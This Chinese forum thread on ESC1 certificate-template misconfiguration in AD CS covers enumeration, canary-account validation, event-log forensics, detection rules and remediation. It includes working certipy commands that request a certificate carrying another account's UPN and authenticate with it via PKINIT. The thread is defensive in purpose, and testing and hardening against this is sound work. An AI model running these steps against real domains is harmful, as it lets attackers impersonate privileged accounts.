发布于11小时前11小时 背景在 Windows 域内渗透测试中,Active Directory Certificate Services(AD CS)经常被忽略。典型的 ESC1 风险不是 CA 服务本身存在软件漏洞,而是证书模板同时允许低权限主体注册、申请者自定义证书主体,并包含可用于域身份认证的 EKU。三项条件叠加后,普通域用户可能为其他账号申请认证证书,绕过原有口令边界。以下过程仅适用于已书面授权的域环境。验证时应使用客户预先建立的金丝雀账号,不应直接冒用 Domain Admin,也不应导出生产账号的 NTLM 凭据。问题定位测试环境假设为 corp.local,域控地址为 10.10.20.10,企业 CA 名称为 CORP-CA。测试账号 audit.user 仅属于 Domain Users,目标是确认其能否为指定的 esc1-canary 账号申请客户端认证证书。一个可利用的 ESC1 模板通常同时满足以下条件:模板启用了 CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT,即申请者可以在请求中提供 subject 或 SAN。模板包含 Client Authentication、Smart Card Logon、PKINIT Client Authentication 或 Any Purpose 等认证用途。Domain Users、Authenticated Users 或其他低权限组拥有 Enroll 权限。未启用经理审批,且授权签名数量为 0。签发该模板的 CA 证书链被域内 NTAuth 存储信任。枚举与交叉确认先使用 Certipy 进行只读枚举,再用系统自带 certutil 交叉确认。不要仅根据工具给出的 Vulnerable 标签下结论,还要核对模板 ACL、EKU 和签发状态。certipy find -u '[email protected]' -p 'REDACTED' \ -dc-ip 10.10.20.10 -enabled -vulnerable -stdout certutil -config 'CA01.corp.local\CORP-CA' -catemplates certutil -v -template UserAuthentication重点检查输出中的 Enrollee Supplies Subject、Client Authentication、Enrollment Rights、Authorized Signatures Required 和 Requires Manager Approval。还应确认模板确实发布在目标 CA 上;仅存在于配置分区但未被 CA 发布的模板,不能直接用于申请。最小化验证步骤建议由域管理员建立无权限、无业务用途的 esc1-canary 账号,并记录测试窗口。申请时只指定该账号的 UPN,避免使用 Administrator、服务账号或真实员工账号。# 以低权限测试账号提交请求,目标身份仅使用预置金丝雀账号 certipy req -u '[email protected]' -p 'REDACTED' \ -dc-ip 10.10.20.10 -ca 'CORP-CA' \ -template 'UserAuthentication' \ -upn '[email protected]' -out 'esc1-canary' # 仅验证证书能否完成 PKINIT;不要在生产环境继续横向移动 certipy auth -pfx 'esc1-canary.pfx' \ -dc-ip 10.10.20.10 -domain 'corp.local'如果低权限账号成功取得证书,且该证书可作为 esc1-canary 完成 PKINIT,则已经证明身份边界被突破。测试报告应记录请求 ID、证书序列号、模板名、申请时间、申请者和证书 SAN。即使 PKINIT 因域控证书配置不完整而失败,只要 CA 已签发包含他人 UPN 且具备认证 EKU 的证书,通常仍应作为高风险配置问题处理,并进一步检查环境是否支持 Schannel 证书映射。日志留痕与取证CA 上需要启用“审核证书服务”,域控需要启用 Kerberos 身份验证服务审核。常见事件包括:4886 表示 CA 收到申请,4887 表示证书获批并签发,4888 表示申请被拒绝;域控的 4768 可用于确认基于证书的 TGT 请求。模板配置被修改时,还可结合目录服务事件 5136 定位变更主体。# CA 侧检索证书申请与签发事件 Get-WinEvent -FilterHashtable @{ LogName='Security'; Id=4886,4887,4888; StartTime=(Get-Date).AddHours(-4) } | Select-Object TimeCreated,Id,Message # 域控侧检索测试窗口内的 Kerberos TGT 请求 Get-WinEvent -FilterHashtable @{ LogName='Security'; Id=4768; StartTime=(Get-Date).AddHours(-4) } | Where-Object {$_.Message -match 'esc1-canary'} | Select-Object TimeCreated,Id,Message # 查询 CA 数据库并按请求 ID、序列号留存证据 certutil -view -restrict "Disposition=20" \ -out "RequestID,RequesterName,CertificateTemplate,SerialNumber,NotBefore,NotAfter"调查时应关联 RequesterName 与证书 Subject Alternative Name。正常情况下,申请者与证书映射身份应一致;若普通用户申请的认证证书映射到另一个账号,应优先告警。日志集中平台还可以建立规则:低权限申请者、认证 EKU、SAN 中 UPN 与申请者不一致,三项同时出现即触发高优先级事件。风险控制与修复取消 Domain Users、Authenticated Users 等宽泛主体的 Enroll 权限,仅保留明确的业务组。关闭“Supply in the request”,由 AD 中的账号属性自动构造 Subject 和 SAN。若模板只用于签名或加密,移除 Client Authentication、Smart Card Logon、Any Purpose 等认证 EKU。对确需自定义主体的模板启用经理审批或授权签名,并将 CA 管理、模板管理和注册审批职责分离。优先复制并修正模板,再停止发布旧模板;不要直接删除仍被业务依赖的模板。对测试及历史异常证书执行吊销,发布新的 CRL,并确认域控和相关服务能够访问 CDP/AIA 地址。# 在 CA 上按测试记录中的证书序列号确认并吊销 certutil -revoke <CertificateSerialNumber> 4 certutil -crl # 复测:低权限账号再次申请时应被拒绝 certipy req -u '[email protected]' -p 'REDACTED' \ -dc-ip 10.10.20.10 -ca 'CORP-CA' \ -template 'UserAuthentication' \ -upn '[email protected]'修复验收不能只看模板界面。应重新导出模板 ACL,确认旧模板已停止签发,并用原测试账号复测。预期结果是请求被拒绝,或签发证书中的身份只能由目录属性构造,无法再指定其他账号。总结ESC1 的核心是证书注册权限与身份映射权限发生了错误叠加。授权渗透中应采用“只读枚举、金丝雀账号验证、记录请求 ID、立即吊销证书、原路径复测”的闭环,既能证明权限边界确实可被突破,也能控制验证过程对生产域的影响。 侦察、入口、横向移动与权限路径梳理示意 日志证据、时间线与事件还原示意
10小时前10小时 ESC1 验证建议把“配置可利用”与“实际签发成功”分开,先做只读确认,再决定是否申请证书。重点同时满足以下条件: 模板允许低权限主体注册; 启用了“申请者在请求中提供者/使用者名称”; 证书用途包含客户端身份验证,例如 Client Authentication、Smart Card Logon 或 Any Purpose; 模板已发布到企业 CA; 不需要经理审批,且授权签名数为 0。 可以先用域内 PowerShell 做只读核查,避免一上来就产生证书申请记录: Import-Module ActiveDirectory $base = (Get-ADRootDSE).ConfigurationNamingContext Get-ADObject \ -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,$base" \ -LDAPFilter "(objectClass=pKICertificateTemplate)" \ -Properties displayName,msPKI-Certificate-Name-Flag,msPKI-Enrollment-Flag, msPKI-RA-Signature,pKIExtendedKeyUsage,nTSecurityDescriptor | Select-Object displayName, msPKI-Certificate-Name-Flag, msPKI-Enrollment-Flag, msPKI-RA-Signature, pKIExtendedKeyUsage 其中名称标志需要按位检查,不要只看十进制值: $CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT = 0x00000001 $templates = Get-ADObject \ -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,$base" \ -LDAPFilter "(objectClass=pKICertificateTemplate)" \ -Properties displayName,msPKI-Certificate-Name-Flag $templates | Where-Object { ($_.‘msPKI-Certificate-Name-Flag’ -band $CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT) -ne 0 } | Select-Object displayName,msPKI-Certificate-Name-Flag 模板 ACL 最好单独展开确认,因为“Authenticated Users 有读取权限”不等于有注册权限。可以结合 certutil -v -template 查看,也可以从 AD 对象的 DACL 中检查 ExtendedRight;实际判断时要把用户所属的嵌套组一并展开。 certutil -v -template VulnerableTemplate certutil -config - -ping certutil -config "CA主机\CA名称" -catemplates 最小化验证阶段,建议使用专门测试账号和明确标记的测试模板,不要冒用高权限账户的 UPN。若必须验证身份字段是否可控,可申请一个指向测试账号自身的短有效期证书,证明 CA 接受请求中的 SAN/UPN 即可;不要继续执行高权限账户认证或票据获取。测试结束后应立即吊销证书、发布 CRL,并保留请求 ID。 日志侧至少关联以下位置: CA 安全日志:事件 4886(收到请求)、4887(签发)、4888(拒绝)、4889(挂起)、4890(证书管理器设置变化); CA 数据库:按 Request ID 查询 RequesterName、CertificateTemplate、SAN、SerialNumber 和 Disposition; 域控安全日志:若证书被用于认证,关注 4768,并检查 Pre-Authentication Type、Certificate Information、Issuer 与 Serial Number; 目录服务变更:若已启用审计,关注 5136,用于追踪模板属性或 ACL 被修改; 模板发布关系:检查 CA 对象的 certificateTemplates 属性是否发生变化。 CA 侧建议开启完整审计,而不是只依赖默认事件: certutil -setreg CA\AuditFilter 127 Restart-Service CertSvc auditpol /set /subcategory:"Certification Services" /success:enable /failure:enable auditpol /set /subcategory:"Directory Service Changes" /success:enable /failure:enable 如果事件字段不够完整,可直接从 CA 数据库导出复核: certutil -view -restrict "RequestID=请求编号" \ -out "RequestID,RequesterName,Request.Disposition,CertificateTemplate,Subject,SerialNumber,NotBefore,NotAfter" 修复时不要只删除模板上的 Enroll 权限。更稳妥的顺序是: 先从 CA 取消发布存在问题的模板,阻断新增签发; 移除“申请者提供主题名称”能力,改为由 AD 自动构建 Subject/SAN; 将注册权限收敛到专用安全组,清理 Domain Users、Authenticated Users 等宽泛主体; 按业务需要移除 Client Authentication、Smart Card Logon 或 Any Purpose EKU; 对确需保留高风险能力的模板启用审批或授权签名,并设置较短有效期; 查询历史签发记录,吊销异常证书并发布新的 CRL;仅修改模板不会让已签发证书失效; 检查模板对象的写权限,避免低权限组拥有 WriteDACL、WriteOwner、GenericAll 或可修改关键属性的权限。 另外,修复后应重新跑一次只读枚举,并用原测试账号确认模板不再可注册。很多现场只改了模板 ACL,却忘了同类模板、旧版本模板或另一台企业 CA 仍在发布,最终导致问题实际没有闭环。
创建帐户或登录后发表意见